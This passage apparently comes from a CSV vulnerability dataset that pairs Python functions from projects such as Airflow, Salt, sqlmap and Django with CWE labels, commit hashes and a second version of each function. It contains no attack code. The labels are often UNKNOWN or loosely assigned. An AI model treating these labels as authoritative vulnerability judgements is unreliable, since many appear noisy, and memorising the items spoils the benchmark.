        if node_type == ""ImportFrom"":
            if context.node.module is not None:
                prefix = context.node.module + "".""

        for check in blacklists[node_type]:
            for name in context.node.names:
                for qn in check['qualnames']:
                    if (prefix + name.name).startswith(qn):
                        return report_issue(check, name.name)"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/www/views.py,0,"def run(self):
        dag_id = request.args.get('dag_id')
        task_id = request.args.get('task_id')
        origin = request.args.get('origin')
        dag = dagbag.get_dag(dag_id)
        task = dag.get_task(task_id)

        execution_date = request.args.get('execution_date')
        execution_date = dateutil.parser.parse(execution_date)
        ignore_all_deps = request.args.get('ignore_all_deps') == ""true""
        ignore_task_deps = request.args.get('ignore_task_deps') == ""true""
        ignore_ti_state = request.args.get('ignore_ti_state') == ""true""

        try:
            from airflow.executors import GetDefaultExecutor
            from airflow.executors import CeleryExecutor
            executor = GetDefaultExecutor()
            if not isinstance(executor, CeleryExecutor):
                flash(""Only works with the CeleryExecutor, sorry"", ""error"")
                return redirect(origin)
        except ImportError:
            # in case CeleryExecutor cannot be imported it is not active either
            flash(""Only works with the CeleryExecutor, sorry"", ""error"")
            return redirect(origin)

        ti = models.TaskInstance(task=task, execution_date=execution_date)
        ti.refresh_from_db()

        # Make sure the task instance can be queued
        dep_context = DepContext(
            deps=QUEUE_DEPS,
            ignore_all_deps=ignore_all_deps,
            ignore_task_deps=ignore_task_deps,
            ignore_ti_state=ignore_ti_state)
        failed_deps = list(ti.get_failed_dep_statuses(dep_context=dep_context))
        if failed_deps:
            failed_deps_str = "", "".join(
                [""{}: {}"".format(dep.dep_name, dep.reason) for dep in failed_deps])
            flash(""Could not queue task instance for execution, dependencies not met: ""
                  ""{}"".format(failed_deps_str),
                  ""error"")
            return redirect(origin)

        executor.start()
        executor.queue_task_instance(
            ti,
            ignore_all_deps=ignore_all_deps,
            ignore_task_deps=ignore_task_deps,
            ignore_ti_state=ignore_ti_state)
        executor.heartbeat()
        flash(
            ""Sent {} to the message queue, ""
            ""it should start any moment now."".format(ti))
        return redirect(origin)",CWE-Unknown,apache/airflow,08a784ede6ffe1a2389255e1c6d597e9b2131080,"def run(self):
        dag_id = request.args.get('dag_id')
        task_id = request.args.get('task_id')
        origin = request.args.get('origin')
        dag = dagbag.get_dag(dag_id)
        task = dag.get_task(task_id)

        execution_date = request.args.get('execution_date')
        execution_date = dateutil.parser.parse(execution_date)
        ignore_all_deps = request.args.get('ignore_all_deps') == ""true""
        ignore_task_deps = request.args.get('ignore_task_deps') == ""true""
        ignore_ti_state = request.args.get('ignore_ti_state') == ""true""

        try:
            from airflow.executors import DEFAULT_EXECUTOR as executor
            from airflow.executors import CeleryExecutor
            if not isinstance(executor, CeleryExecutor):
                flash(""Only works with the CeleryExecutor, sorry"", ""error"")
                return redirect(origin)
        except ImportError:
            # in case CeleryExecutor cannot be imported it is not active either
            flash(""Only works with the CeleryExecutor, sorry"", ""error"")
            return redirect(origin)

        ti = models.TaskInstance(task=task, execution_date=execution_date)
        ti.refresh_from_db()

        # Make sure the task instance can be queued
        dep_context = DepContext(
            deps=QUEUE_DEPS,
            ignore_all_deps=ignore_all_deps,
            ignore_task_deps=ignore_task_deps,
            ignore_ti_state=ignore_ti_state)
        failed_deps = list(ti.get_failed_dep_statuses(dep_context=dep_context))
        if failed_deps:
            failed_deps_str = "", "".join(
                [""{}: {}"".format(dep.dep_name, dep.reason) for dep in failed_deps])
            flash(""Could not queue task instance for execution, dependencies not met: ""
                  ""{}"".format(failed_deps_str),
                  ""error"")
            return redirect(origin)

        executor.start()
        executor.queue_task_instance(
            ti,
            ignore_all_deps=ignore_all_deps,
            ignore_task_deps=ignore_task_deps,
            ignore_ti_state=ignore_ti_state)
        executor.heartbeat()
        flash(
            ""Sent {} to the message queue, ""
            ""it should start any moment now."".format(ti))
        return redirect(origin)"
,UNKNOWN,UNKNOWN,tests/providers/yandex/secrets/test_lockbox.py,1,"def test_yandex_lockbox_secret_backend__client_created_without_exceptions(self):
        yc_oauth_token = ""y3_Vdheub7w9bIut67GHeL345gfb5GAnd3dZnf08FRbvjeUFvetYiohGvc""

        sm = LockboxSecretBackend(
            yc_oauth_token=yc_oauth_token,
        )

        assert sm._client is not None",CWE-703,apache/airflow,cea58c11118cb6776cc14b9460d674b251888bad,"def test_yandex_lockbox_secret_backend__client_created_without_exceptions(self):
        yc_oauth_token = ""y3_Vdheub7w9bIut67GHeL345gfb5GAnd3dZnf08FRbvjeUFvetYiohGvc""

        sm = LockboxSecretBackend(
            yc_oauth_token=yc_oauth_token,
        )

        assert sm._client is not None"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/request/basic.py,0,"def checkCharEncoding(encoding):
    if encoding:
        encoding = encoding.lower()
    else:
        return encoding

    # http://www.destructor.de/charsets/index.htm
    translate = { 'windows-874': 'iso-8859-11', 'en_us': 'utf8' }

    for delimiter in (';', ','):
        if delimiter in encoding:
            encoding = encoding[:encoding.find(delimiter)]

    # http://philip.html5.org/data/charsets-2.html
    if encoding in translate:
        encoding = translate[encoding]
    elif encoding.startswith('cp-'):
        encoding = 'cp%s' % encoding[3:]
    elif encoding.startswith('windows') and not encoding.startswith('windows-'):
        encoding = 'windows-%s' % encoding[7:]
    elif encoding == 'null':
        return None

    try:
        codecs.lookup(encoding)
    except LookupError:
        warnMsg  = ""unknown charset '%s'. "" % encoding
        warnMsg += ""Please report by e-mail to sqlmap-users@lists.sourceforge.net.""
        logger.warn(warnMsg)
        encoding = conf.dataEncoding

    return encoding",,sqlmapproject/sqlmap,5abbea4a9fa664bac4e8bf82e1cc717ff982e536,"def checkCharEncoding(encoding):
    if encoding:
        encoding = encoding.lower()
    else:
        return encoding

    # http://www.destructor.de/charsets/index.htm
    translate = { 'windows-874': 'iso-8859-11', 'en_us': 'utf8' }

    for delimiter in (';', ','):
        if delimiter in encoding:
            encoding = encoding[:encoding.find(delimiter)]

    # http://philip.html5.org/data/charsets-2.html
    if encoding in translate:
        encoding = translate[encoding]
    elif encoding.startswith('cp-'):
        encoding = 'cp%s' % encoding[3:]
    elif encoding.startswith('windows') and not encoding.startswith('windows-'):
        encoding = 'windows-%s' % encoding[7:]

    try:
        codecs.lookup(encoding)
    except LookupError:
        warnMsg  = ""unknown charset '%s'. "" % encoding
        warnMsg += ""Please report by e-mail to sqlmap-users@lists.sourceforge.net.""
        logger.warn(warnMsg)
        encoding = conf.dataEncoding

    return encoding"
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,bandit/meta_ast.py,0,"def __init__(self, logger):
        self.logger = logger",UNKNOWN,PyCQA/bandit,8c51ee0e8604908c8231949ce540f7bca93a2289,"def __init__(self, logger):
        self.logger = logger"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/test/web_test.py,0,"def get_handlers(self):
        test = self

        class FinishHandler(RequestHandler):
            @gen.coroutine
            def get(self):
                test.final_return = self.finish()
                yield test.final_return

        class RenderHandler(RequestHandler):
            def create_template_loader(self, path):
                return DictLoader({'foo.html': 'hi'})

            @gen.coroutine
            def get(self):
                test.final_return = self.render('foo.html')

        return [(""/finish"", FinishHandler),
                (""/render"", RenderHandler)]",CWE-Unknown,tornadoweb/tornado,99bb140dfed9f41e3c66fa5c76105710b2e70a5f,"def get_handlers(self):
        test = self

        class FinishHandler(RequestHandler):
            @gen.coroutine
            def get(self):
                test.final_return = self.finish()

        class RenderHandler(RequestHandler):
            def create_template_loader(self, path):
                return DictLoader({'foo.html': 'hi'})

            @gen.coroutine
            def get(self):
                test.final_return = self.render('foo.html')

        return [(""/finish"", FinishHandler),
                (""/render"", RenderHandler)]"
,UNKNOWN,UNKNOWN,tests/api_fastapi/core_api/routes/public/test_xcom.py,1,"def test_create_xcom_entry(
        self, dag_id, task_id, dag_run_id, request_body, expected_status, expected_detail, test_client
    ):
        # Pre-create an XCom entry to test conflict case
        if expected_status == 409:
            self._create_xcom(TEST_XCOM_KEY, TEST_XCOM_VALUE)

        response = test_client.post(
            f""/public/dags/{dag_id}/dagRuns/{dag_run_id}/taskInstances/{task_id}/xcomEntries"",
            json=request_body.dict(),
        )

        assert response.status_code == expected_status
        if expected_detail:
            assert response.json()[""detail""] == expected_detail
        elif expected_status == 201:
            # Validate the created XCom response
            current_data = response.json()
            assert current_data[""key""] == request_body.key
            assert current_data[""value""] == XCom.serialize_value(request_body.value)
            assert current_data[""dag_id""] == dag_id
            assert current_data[""task_id""] == task_id
            assert current_data[""run_id""] == dag_run_id
            assert current_data[""map_index""] == request_body.map_index",CWE-703,apache/airflow,c813c32feb3f372144c9039e9961beaf293edaa1,"def test_create_xcom_entry(
        self, dag_id, task_id, dag_run_id, request_body, expected_status, expected_detail, test_client
    ):
        # Pre-create an XCom entry to test conflict case
        if expected_status == 409:
            self._create_xcom(TEST_XCOM_KEY, TEST_XCOM_VALUE)

        response = test_client.post(
            f""/public/dags/{dag_id}/dagRuns/{dag_run_id}/taskInstances/{task_id}/xcomEntries"",
            json=request_body.dict(),
        )

        assert response.status_code == expected_status
        if expected_detail:
            assert response.json()[""detail""] == expected_detail
        elif expected_status == 201:
            # Validate the created XCom response
            current_data = response.json()
            assert current_data[""key""] == request_body.key
            assert current_data[""value""] == XCom.serialize_value(request_body.value)
            assert current_data[""dag_id""] == dag_id
            assert current_data[""task_id""] == task_id
            assert current_data[""run_id""] == dag_run_id
            assert current_data[""map_index""] == request_body.map_index"
,UNKNOWN,UNKNOWN,airflow/models/dagrun.py,1,"def _get_ready_tis(
        self,
        schedulable_tis: List[TI],
        finished_tis: List[TI],
        session: Session,
    ) -> Tuple[List[TI], bool]:
        old_states = {}
        ready_tis: List[TI] = []
        changed_tis = False

        if not schedulable_tis:
            return ready_tis, changed_tis

        # If we expand TIs, we need a new list so that we iterate over them too. (We can't alter
        # `schedulable_tis` in place and have the `for` loop pick them up
        expanded_tis: List[TI] = []

        # Check dependencies
        for schedulable in itertools.chain(schedulable_tis, expanded_tis):

            # Expansion of last resort! This is ideally handled in the mini-scheduler in LocalTaskJob, but if
            # for any reason it wasn't, we need to expand it now
            if schedulable.map_index < 0 and schedulable.task.is_mapped:
                # HACK. This needs a better way, one that copes with multiple upstreams!
                for ti in finished_tis:
                    if schedulable.task_id in ti.task.downstream_task_ids:

                        assert isinstance(schedulable.task, MappedOperator)
                        new_tis = schedulable.task.expand_mapped_task(self.run_id, session=session)
                        if schedulable.state == TaskInstanceState.SKIPPED:
                            # Task is now skipped (likely cos upstream returned 0 tasks
                            continue
                        assert new_tis[0] is schedulable
                        expanded_tis.extend(new_tis[1:])
                        break

            old_state = schedulable.state
            if schedulable.are_dependencies_met(
                dep_context=DepContext(flag_upstream_failed=True, finished_tis=finished_tis),
                session=session,
            ):
                ready_tis.append(schedulable)
            else:
                old_states[schedulable.key] = old_state

        # Check if any ti changed state
        tis_filter = TI.filter_for_tis(old_states.keys())
        if tis_filter is not None:
            fresh_tis = session.query(TI).filter(tis_filter).all()
            changed_tis = any(ti.state != old_states[ti.key] for ti in fresh_tis)

        return ready_tis, changed_tis",CWE-703,apache/airflow,15a72d01addfd3b70a38fa283a803efdab9cf522,"def _get_ready_tis(
        self,
        schedulable_tis: List[TI],
        finished_tis: List[TI],
        session: Session,
    ) -> Tuple[List[TI], bool]:
        old_states = {}
        ready_tis: List[TI] = []
        changed_tis = False

        if not schedulable_tis:
            return ready_tis, changed_tis

        # If we expand TIs, we need a new list so that we iterate over them too. (We can't alter
        # `schedulable_tis` in place and have the `for` loop pick them up
        expanded_tis: List[TI] = []

        # Check dependencies
        for schedulable in itertools.chain(schedulable_tis, expanded_tis):

            # Expansion of last resort! This is ideally handled in the mini-scheduler in LocalTaskJob, but if
            # for any reason it wasn't, we need to expand it now
            if schedulable.map_index < 0 and schedulable.task.is_mapped:
                # HACK. This needs a better way, one that copes with multiple upstreams!
                for ti in finished_tis:
                    if schedulable.task_id in ti.task.downstream_task_ids:
                        upstream = ti

                        assert isinstance(schedulable.task, MappedOperator)
                        new_tis = schedulable.task.expand_mapped_task(upstream, session=session)
                        if schedulable.state == TaskInstanceState.SKIPPED:
                            # Task is now skipped (likely cos upstream returned 0 tasks
                            continue
                        assert new_tis[0] is schedulable
                        expanded_tis.extend(new_tis[1:])
                        break

            old_state = schedulable.state
            if schedulable.are_dependencies_met(
                dep_context=DepContext(flag_upstream_failed=True, finished_tis=finished_tis),
                session=session,
            ):
                ready_tis.append(schedulable)
            else:
                old_states[schedulable.key] = old_state

        # Check if any ti changed state
        tis_filter = TI.filter_for_tis(old_states.keys())
        if tis_filter is not None:
            fresh_tis = session.query(TI).filter(tis_filter).all()
            changed_tis = any(ti.state != old_states[ti.key] for ti in fresh_tis)

        return ready_tis, changed_tis"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/cloud/clouds/aliyun.py,0,"def create(vm_):
    '''
    Create a single VM from a data dict
    '''
    try:
        # Check for required profile parameters before sending any API calls.
        if vm_['profile'] and config.is_profile_configured(__opts__,
                                                           __active_provider_name__ or 'aliyun',
                                                           vm_['profile'],
                                                           vm_=vm_) is False:
            return False
    except AttributeError:
        pass

    __utils__['cloud.fire_event'](
        'event',
        'starting create',
        'salt/cloud/{0}/creating'.format(vm_['name']),
        args=__utils__['cloud.filter_event']('creating', vm_, ['name', 'profile', 'provider', 'driver']),
        sock_dir=__opts__['sock_dir'],
        transport=__opts__['transport']
    )

    log.info('Creating Cloud VM %s', vm_['name'])
    kwargs = {
        'name': vm_['name'],
        'size_id': get_size(vm_),
        'image_id': get_image(vm_),
        'region_id': __get_location(vm_),
        'securitygroup_id': get_securitygroup(vm_),
    }
    if 'vswitch_id' in vm_:
        kwargs['VSwitchId'] = vm_['vswitch_id']
    if 'internet_chargetype' in vm_:
        kwargs['InternetChargeType'] = vm_['internet_chargetype']
    if 'internet_maxbandwidthin' in vm_:
        kwargs['InternetMaxBandwidthIn'] = six.text_type(vm_['internet_maxbandwidthin'])
    if 'internet_maxbandwidthout' in vm_:
        kwargs['InternetMaxBandwidthOut'] = six.text_type(vm_['internet_maxbandwidthOut'])
    if 'hostname' in vm_:
        kwargs['HostName'] = vm_['hostname']
    if 'password' in vm_:
        kwargs['Password'] = vm_['password']
    if 'instance_name' in vm_:
        kwargs['InstanceName'] = vm_['instance_name']
    if 'systemdisk_category' in vm_:
        kwargs['SystemDisk.Category'] = vm_['systemdisk_category']

    __utils__['cloud.fire_event'](
        'event',
        'requesting instance',
        'salt/cloud/{0}/requesting'.format(vm_['name']),
        args=__utils__['cloud.filter_event']('requesting', kwargs, list(kwargs)),
        sock_dir=__opts__['sock_dir'],
        transport=__opts__['transport']
    )

    try:
        ret = create_node(kwargs)
    except Exception as exc:  # pylint: disable=broad-except
        log.error(
            'Error creating %s on Aliyun ECS\n\n'
            'The following exception was thrown when trying to '
            'run the initial deployment: %s',
            vm_['name'], six.text_type(exc),
            # Show the traceback if the debug logging level is enabled
            exc_info_on_loglevel=logging.DEBUG
        )
        return False
    # repair ip address error and start vm
    time.sleep(8)
    params = {'Action': 'StartInstance',
              'InstanceId': ret}
    query(params)

    def __query_node_data(vm_name):
        data = show_instance(vm_name, call='action')
        if not data:
            # Trigger an error in the wait_for_ip function
            return False
        if data.get('PublicIpAddress', None) is not None:
            return data

    try:
        data = salt.utils.cloud.wait_for_ip(
            __query_node_data,
            update_args=(vm_['name'],),
            timeout=config.get_cloud_config_value(
                'wait_for_ip_timeout', vm_, __opts__, default=10 * 60),
            interval=config.get_cloud_config_value(
                'wait_for_ip_interval', vm_, __opts__, default=10),
        )
    except (SaltCloudExecutionTimeout, SaltCloudExecutionFailure) as exc:
        try:
            # It might be already up, let's destroy it!
            destroy(vm_['name'])
        except SaltCloudSystemExit:
            pass
        finally:
            raise SaltCloudSystemExit(six.text_type(exc))

    if data['public_ips']:
        ssh_ip = data['public_ips'][0]
    elif data['private_ips']:
        ssh_ip = data['private_ips'][0]
    else:
        log.info('No available ip:cant connect to salt')
        return False
    log.debug('VM %s is now running', ssh_ip)
    vm_['ssh_host'] = ssh_ip

    # The instance is booted and accessible, let's Salt it!
    ret = __utils__['cloud.bootstrap'](vm_, __opts__)
    ret.update(data)

    log.info('Created Cloud VM \'%s\'', vm_['name'])
    log.debug(
        '\'%s\' VM creation details:\n%s',
        vm_['name'], pprint.pformat(data)
    )

    __utils__['cloud.fire_event'](
        'event',
        'created instance',
        'salt/cloud/{0}/created'.format(vm_['name']),
        args=__utils__['cloud.filter_event']('created', vm_, ['name', 'profile', 'provider', 'driver']),
        sock_dir=__opts__['sock_dir'],
        transport=__opts__['transport']
    )

    return ret",,saltstack/salt,2268427d1f599996d061b6b86acb038c321b39c1,"def create(vm_):
    '''
    Create a single VM from a data dict
    '''
    try:
        # Check for required profile parameters before sending any API calls.
        if vm_['profile'] and config.is_profile_configured(__opts__,
                                                           __active_provider_name__ or 'aliyun',
                                                           vm_['profile'],
                                                           vm_=vm_) is False:
            return False
    except AttributeError:
        pass

    __utils__['cloud.fire_event'](
        'event',
        'starting create',
        'salt/cloud/{0}/creating'.format(vm_['name']),
        args=__utils__['cloud.filter_event']('creating', vm_, ['name', 'profile', 'provider', 'driver']),
        sock_dir=__opts__['sock_dir'],
        transport=__opts__['transport']
    )

    log.info('Creating Cloud VM %s', vm_['name'])
    kwargs = {
        'name': vm_['name'],
        'size_id': get_size(vm_),
        'image_id': get_image(vm_),
        'region_id': __get_location(vm_),
        'securitygroup_id': get_securitygroup(vm_),
    }
    if 'vswitch_id' in vm_:
        kwargs['VSwitchId'] = vm_['vswitch_id']
    if 'internet_chargetype' in vm_:
        kwargs['InternetChargeType'] = vm_['internet_chargetype']
    if 'internet_maxbandwidthin' in vm_:
        kwargs['InternetMaxBandwidthIn'] = six.text_type(vm_['internet_maxbandwidthin'])
    if 'internet_maxbandwidthout' in vm_:
        kwargs['InternetMaxBandwidthOut'] = six.text_type(vm_['internet_maxbandwidthOut'])
    if 'hostname' in vm_:
        kwargs['HostName'] = vm_['hostname']
    if 'password' in vm_:
        kwargs['Password'] = vm_['password']
    if 'instance_name' in vm_:
        kwargs['InstanceName'] = vm_['instance_name']
    if 'systemdisk_category' in vm_:
        kwargs['SystemDisk.Category'] = vm_['systemdisk_category']

    __utils__['cloud.fire_event'](
        'event',
        'requesting instance',
        'salt/cloud/{0}/requesting'.format(vm_['name']),
        args=__utils__['cloud.filter_event']('requesting', kwargs, list(kwargs)),
        sock_dir=__opts__['sock_dir'],
        transport=__opts__['transport']
    )

    try:
        ret = create_node(kwargs)
    except Exception as exc:
        log.error(
            'Error creating %s on Aliyun ECS\n\n'
            'The following exception was thrown when trying to '
            'run the initial deployment: %s',
            vm_['name'], six.text_type(exc),
            # Show the traceback if the debug logging level is enabled
            exc_info_on_loglevel=logging.DEBUG
        )
        return False
    # repair ip address error and start vm
    time.sleep(8)
    params = {'Action': 'StartInstance',
              'InstanceId': ret}
    query(params)

    def __query_node_data(vm_name):
        data = show_instance(vm_name, call='action')
        if not data:
            # Trigger an error in the wait_for_ip function
            return False
        if data.get('PublicIpAddress', None) is not None:
            return data

    try:
        data = salt.utils.cloud.wait_for_ip(
            __query_node_data,
            update_args=(vm_['name'],),
            timeout=config.get_cloud_config_value(
                'wait_for_ip_timeout', vm_, __opts__, default=10 * 60),
            interval=config.get_cloud_config_value(
                'wait_for_ip_interval', vm_, __opts__, default=10),
        )
    except (SaltCloudExecutionTimeout, SaltCloudExecutionFailure) as exc:
        try:
            # It might be already up, let's destroy it!
            destroy(vm_['name'])
        except SaltCloudSystemExit:
            pass
        finally:
            raise SaltCloudSystemExit(six.text_type(exc))

    if data['public_ips']:
        ssh_ip = data['public_ips'][0]
    elif data['private_ips']:
        ssh_ip = data['private_ips'][0]
    else:
        log.info('No available ip:cant connect to salt')
        return False
    log.debug('VM %s is now running', ssh_ip)
    vm_['ssh_host'] = ssh_ip

    # The instance is booted and accessible, let's Salt it!
    ret = __utils__['cloud.bootstrap'](vm_, __opts__)
    ret.update(data)

    log.info('Created Cloud VM \'%s\'', vm_['name'])
    log.debug(
        '\'%s\' VM creation details:\n%s',
        vm_['name'], pprint.pformat(data)
    )

    __utils__['cloud.fire_event'](
        'event',
        'created instance',
        'salt/cloud/{0}/created'.format(vm_['name']),
        args=__utils__['cloud.filter_event']('created', vm_, ['name', 'profile', 'provider', 'driver']),
        sock_dir=__opts__['sock_dir'],
        transport=__opts__['transport']
    )

    return ret"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/regressiontests/introspection/tests.py,0,"def test_get_table_description_types(self):
        cursor = connection.cursor()
        desc = connection.introspection.get_table_description(cursor, Reporter._meta.db_table)
        self.assertEqual([datatype(r[1], r) for r in desc],
                          ['IntegerField', 'CharField', 'CharField', 'CharField'])",CWE-Unknown,django/django,4e36fffab2d1b47c10bcf462d9309d40e63dabb9,"def test_get_table_description_types(self):
        cursor = connection.cursor()
        desc = connection.introspection.get_table_description(cursor, Reporter._meta.db_table)
        self.assertEqual([datatype(r[1], r) for r in desc],
                          ['IntegerField', 'CharField', 'CharField', 'CharField'])"
,UNKNOWN,UNKNOWN,salt/beacons/inotify.py,1,"def beacon(config):
    '''
    Watch the configured files

    Example Config

    .. code-block:: yaml

        beacons:
          inotify:
            /path/to/file/or/dir:
              mask:
                - open
                - create
                - close_write
              recurse: True
              auto_add: True
              exclude:
                - /path/to/file/or/dir/exclude1
                - /path/to/file/or/dir/exclude2
                - /path/to/file/or/dir/regex[\d]*$:
                    regex: True

    The mask list can contain the following events (the default mask is create,
    delete, and modify):

    * access            - File accessed
    * attrib            - File metadata changed
    * close_nowrite     - Unwritable file closed
    * close_write       - Writable file closed
    * create            - File created in watched directory
    * delete            - File deleted from watched directory
    * delete_self       - Watched file or directory deleted
    * modify            - File modified
    * moved_from        - File moved out of watched directory
    * moved_to          - File moved into watched directory
    * move_self         - Watched file moved
    * open              - File opened

    The mask can also contain the following options:

    * dont_follow       - Don't dereference symbolic links
    * excl_unlink       - Omit events for children after they have been unlinked
    * oneshot           - Remove watch after one event
    * onlydir           - Operate only if name is directory

    recurse:
      Recursively watch files in the directory
    auto_add:
      Automatically start watching files that are created in the watched directory
    exclude:
      Exclude directories or files from triggering events in the watched directory.
      Can use regex if regex is set to True
    '''
    ret = []
    notifier = _get_notifier()
    wm = notifier._watch_manager

    # Read in existing events
    if notifier.check_events(1):
        notifier.read_events()
        notifier.process_events()
        queue = __context__['inotify.queue']
        while queue:
            event = queue.popleft()

            _append = True
            # Find the matching path in config
            path = event.path
            while path != '/':
                if path in config:
                    break
                path = os.path.dirname(path)

            excludes = config[path].get('exclude', '')
            if excludes and isinstance(excludes, list):
                for exclude in excludes:
                    if isinstance(exclude, dict):
                        if exclude.values()[0].get('regex', False):
                            try:
                                if re.search(exclude.keys()[0], event.pathname):
                                    _append = False
                            except:
                                log.warn('Failed to compile regex: {0}'.format(exclude.keys()[0]))
                                pass
                        else:
                            exclude = exclude.keys()[0]
                    elif '*' in exclude:
                        if fnmatch.fnmatch(event.pathname, exclude):
                            _append = False
                    else:
                        if event.pathname.startswith(exclude):
                            _append = False

            if _append:
                sub = {'tag': event.path,
                       'path': event.pathname,
                       'change': event.maskname}
                ret.append(sub)
            else:
                log.info('Excluding {0} from event for {1}'.format(event.pathname, path))

    # Get paths currently being watched
    current = set()
    for wd in wm.watches:
        current.add(wm.watches[wd].path)

    # Update existing watches and add new ones
    # TODO: make the config handle more options
    for path in config:
        if isinstance(config[path], dict):
            mask = config[path].get('mask', DEFAULT_MASK)
            if isinstance(mask, list):
                r_mask = 0
                for sub in mask:
                    r_mask |= _get_mask(sub)
            elif isinstance(mask, salt.ext.six.binary_type):
                r_mask = _get_mask(mask)
            else:
                r_mask = mask
            mask = r_mask
            rec = config[path].get('recurse', False)
            auto_add = config[path].get('auto_add', False)
        else:
            mask = DEFAULT_MASK
            rec = False
            auto_add = False

        if path in current:
            for wd in wm.watches:
                if path == wm.watches[wd].path:
                    update = False
                    if wm.watches[wd].mask != mask:
                        update = True
                    if wm.watches[wd].auto_add != auto_add:
                        update = True
                    if update:
                        wm.update_watch(wd, mask=mask, rec=rec, auto_add=auto_add)
        elif os.path.exists(path):
            excl = None
            if isinstance(excludes, list):
                excl = []
                for exclude in excludes:
                    if isinstance(exclude, dict):
                        excl.append(exclude.keys()[0])
                    else:
                        excl.append(exclude)
                excl = pyinotify.ExcludeFilter(excl)

            wm.add_watch(path, mask, rec=rec, auto_add=auto_add, exclude_filter=excl)

    # Return event data
    return ret",CWE-703,saltstack/salt,f96194ae5cd261b473ef1bb375656490e309b3da,"def beacon(config):
    '''
    Watch the configured files

    Example Config

    .. code-block:: yaml

        beacons:
          inotify:
            /path/to/file/or/dir:
              mask:
                - open
                - create
                - close_write
              recurse: True
              auto_add: True
              exclude:
                - /path/to/file/or/dir/exclude1
                - /path/to/file/or/dir/exclude2
                - /path/to/file/or/dir/regex[\d]*$:
                    regex: True

    The mask list can contain the following events (the default mask is create,
    delete, and modify):

    * access            - File accessed
    * attrib            - File metadata changed
    * close_nowrite     - Unwritable file closed
    * close_write       - Writable file closed
    * create            - File created in watched directory
    * delete            - File deleted from watched directory
    * delete_self       - Watched file or directory deleted
    * modify            - File modified
    * moved_from        - File moved out of watched directory
    * moved_to          - File moved into watched directory
    * move_self         - Watched file moved
    * open              - File opened

    The mask can also contain the following options:

    * dont_follow       - Don't dereference symbolic links
    * excl_unlink       - Omit events for children after they have been unlinked
    * oneshot           - Remove watch after one event
    * onlydir           - Operate only if name is directory

    recurse:
      Recursively watch files in the directory
    auto_add:
      Automatically start watching files that are created in the watched directory
    exclude:
      Exclude directories or files from triggering events in the watched directory.
      Can use regex if regex is set to True
    '''
    ret = []
    notifier = _get_notifier()
    wm = notifier._watch_manager

    # Read in existing events
    if notifier.check_events(1):
        notifier.read_events()
        notifier.process_events()
        queue = __context__['inotify.queue']
        while queue:
            event = queue.popleft()

            _append = True
            # Find the matching path in config
            path = event.path
            while path != '/':
                if path in config:
                    break
                path = os.path.dirname(path)

            excludes = config[path].get('exclude', '')
            if excludes and isinstance(excludes, list):
                for exclude in excludes:
                    if isinstance(exclude, dict):
                        if exclude.get('regex', False):
                            try:
                                if re.search(exclude.keys()[0], event.pathname):
                                    _append = False
                            except:
                                pass
                        else:
                            exclude = exclude.keys()[0]
                    elif '*' in exclude:
                        if fnmatch.fnmatch(event.pathname, exclude):
                            _append = False
                    else:
                        if event.pathname.startswith(exclude):
                            _append = False

            if _append:
                sub = {'tag': event.path,
                       'path': event.pathname,
                       'change': event.maskname}
                ret.append(sub)
            else:
                log.info('Excluding {0} from event for {1}'.format(event.pathname, path))

    # Get paths currently being watched
    current = set()
    for wd in wm.watches:
        current.add(wm.watches[wd].path)

    # Update existing watches and add new ones
    # TODO: make the config handle more options
    for path in config:
        if isinstance(config[path], dict):
            mask = config[path].get('mask', DEFAULT_MASK)
            if isinstance(mask, list):
                r_mask = 0
                for sub in mask:
                    r_mask |= _get_mask(sub)
            elif isinstance(mask, salt.ext.six.binary_type):
                r_mask = _get_mask(mask)
            else:
                r_mask = mask
            mask = r_mask
            rec = config[path].get('recurse', False)
            auto_add = config[path].get('auto_add', False)
        else:
            mask = DEFAULT_MASK
            rec = False
            auto_add = False

        if path in current:
            for wd in wm.watches:
                if path == wm.watches[wd].path:
                    update = False
                    if wm.watches[wd].mask != mask:
                        update = True
                    if wm.watches[wd].auto_add != auto_add:
                        update = True
                    if update:
                        wm.update_watch(wd, mask=mask, rec=rec, auto_add=auto_add)
        elif os.path.exists(path):
            excl = None
            if isinstance(excludes, list):
                excl = []
                for exclude in excludes:
                    if isinstance(exclude, dict):
                        excl.append(exclude.keys()[0])
                    else:
                        excl.append(exclude)
                excl = pyinotify.ExcludeFilter(excl)

            wm.add_watch(path, mask, rec=rec, auto_add=auto_add, exclude_filter=excl)

    # Return event data
    return ret"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,notebook/_sysinfo.py,0,"def pkg_commit_hash(pkg_path):
    """"""Get short form of commit hash given directory `pkg_path`

    We get the commit hash from git if it's a repo.

    If this fail, we return a not-found placeholder tuple

    Parameters
    ----------
    pkg_path : str
       directory containing package
       only used for getting commit from active repo

    Returns
    -------
    hash_from : str
       Where we got the hash from - description
    hash_str : str
       short form of hash
    """"""

    # maybe we are in a repository, check for a .git folder
    p = os.path
    cur_path = None
    par_path = pkg_path
    while cur_path != par_path:
        cur_path = par_path
        if p.exists(p.join(cur_path, '.git')):
            try:
                proc = subprocess.Popen(['git', 'rev-parse', '--short', 'HEAD'],
                                    stdout=subprocess.PIPE,
                                    stderr=subprocess.PIPE,
                                    cwd=pkg_path)
                repo_commit, _ = proc.communicate()
            except OSError:
                repo_commit = None

            if repo_commit:
                return 'repository', repo_commit.strip().decode('ascii')
            else:
                return '', ''
        par_path = p.dirname(par_path)

    return '', ''",,jupyter/notebook,4ba07e130f3c0df31b878af99a9b3e8123b69948,"def pkg_commit_hash(pkg_path):
    """"""Get short form of commit hash given directory `pkg_path`

    We get the commit hash from git if it's a repo.

    If this fail, we return a not-found placeholder tuple

    Parameters
    ----------
    pkg_path : str
       directory containing package
       only used for getting commit from active repo

    Returns
    -------
    hash_from : str
       Where we got the hash from - description
    hash_str : str
       short form of hash
    """"""

    # maybe we are in a repository, check for a .git folder
    p = os.path
    cur_path = None
    par_path = pkg_path
    while cur_path != par_path:
        cur_path = par_path
        if p.exists(p.join(cur_path, '.git')):
            try:
                proc = subprocess.Popen(['git', 'rev-parse', '--short', 'HEAD'],
                                    stdout=subprocess.PIPE,
                                    stderr=subprocess.PIPE,
                                    cwd=pkg_path)
                repo_commit, _ = proc.communicate()
            except OSError:
                repo_commit = None

            if repo_commit:
